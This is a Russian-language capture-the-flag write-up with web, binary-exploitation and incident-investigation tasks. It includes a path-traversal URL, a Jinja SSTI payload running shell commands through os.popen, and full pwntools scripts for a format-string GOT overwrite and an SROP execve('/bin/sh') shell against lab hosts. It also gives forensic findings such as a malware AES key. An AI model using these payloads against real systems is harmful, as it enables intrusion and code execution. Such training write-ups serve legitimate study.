**Наступательная кибербезопасность**

**WEB1**

В исходном коде находим ссылку на текстовый документ. Изменив ссылку на <http://192.168.12.10:5001/download?file_type=../../etc/secret> получаем флаг

**WEB2**

Запрос с параметром password=password даёт флаг http://192.168.12.13:8090/login?password=password

**WEB3**

Обходим 403 с помощью запроса http://192.168.12.11:8001//flag?name=11

Эксплуатируем SSTI <http://192.168.12.11:8001//flag?name>={{%20self.\_\_init\_\_.\_\_globals\_\_.\_\_builtins\_\_.\_\_import\_\_(%27os%27).popen(%27cat%20flag.txt%27).read()%20}} и получаем флаг

**PWN1**

При помощи уязвимости printf переписываем GOT, чтобы при вызове функции exit вызывалась функция win

**PWN2**

Выполняем SROP

**Расследование инцидента**

**#1**

Из легенды узнаём про фишинговое письмо

**#2**

С помощью программы просмотра событий (eventvwr.exe) в логах Windows PowerShell находим адресс http://95.169.192.220:8080

**#3**

По пути C:\Users\Evgeniy\AppData\Local\Microsoft\Outlook\ находим файл почты, внутри него находим вредоносный архив с вирусом. Выясняем, что использовалась уязвимость произвольного выполнения кода в winrar

**#4**

С помощью дизассемблера ghidra находим функции IsDebuggerPresent и CheckRemoteDebuggerPresent

**#5**

С помощью дизассемблера ghidra находим классы указывающие на использование AES CBC: CBC\_Decryption CBC\_Encryption, а также неймспейс Rijndael

**#6**

Делаем дамп памяти и утилитой strings вытаскиваем строки. Среди строк длиной 32 символа ищем и находим ключ amogusamogusamogusamogusamogusam

**#8**

Среди строк рядом с ключём находим строку ababab расширяем до 16 символов abababababababab и получаем IV. Полсе этого расшифровываем файл и получаем sFYZ#2z9VdUR9sm`3JRz

**ИСХОДНЫЕ КОДЫ**

**PWN1**

**from pwn import \***

from fmtstr import FormatString

e = ELF("./main")

#p = process('./main')

p = remote('192.168.12.13', 1923)

fmt = FormatString(offset=6, written=0, bits=64)

fmt[e.got['exit']] = e.symbols['win']

payload, sig = fmt.build()

def dump(x):

try:

from hexdump import hexdump

hexdump(x)

except ImportError:

import binascii, textwrap

print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32)))

dump(payload)

p.sendline(payload)

p.interactive()

**PWN2**

**from pwn import \***

elf = context.binary = ELF('./task', checksec=False)

p = connect('192.168.12.13', 1555)

BINSH = elf.address + 0x1430

POP\_RAX = 0x41018

SYSCALL\_RET = 0x41015

frame = SigreturnFrame()

frame.rax = 0x3b # syscall number for execve

frame.rdi = BINSH # pointer to /bin/sh

frame.rsi = 0x0 # NULL

frame.rdx = 0x0 # NULL

frame.rip = SYSCALL\_RET

payload = b'A' \* 8

payload += p64(POP\_RAX)

payload += p64(0xf)

payload += p64(SYSCALL\_RET)

payload += bytes(frame)

p.sendline(payload)

p.interactive()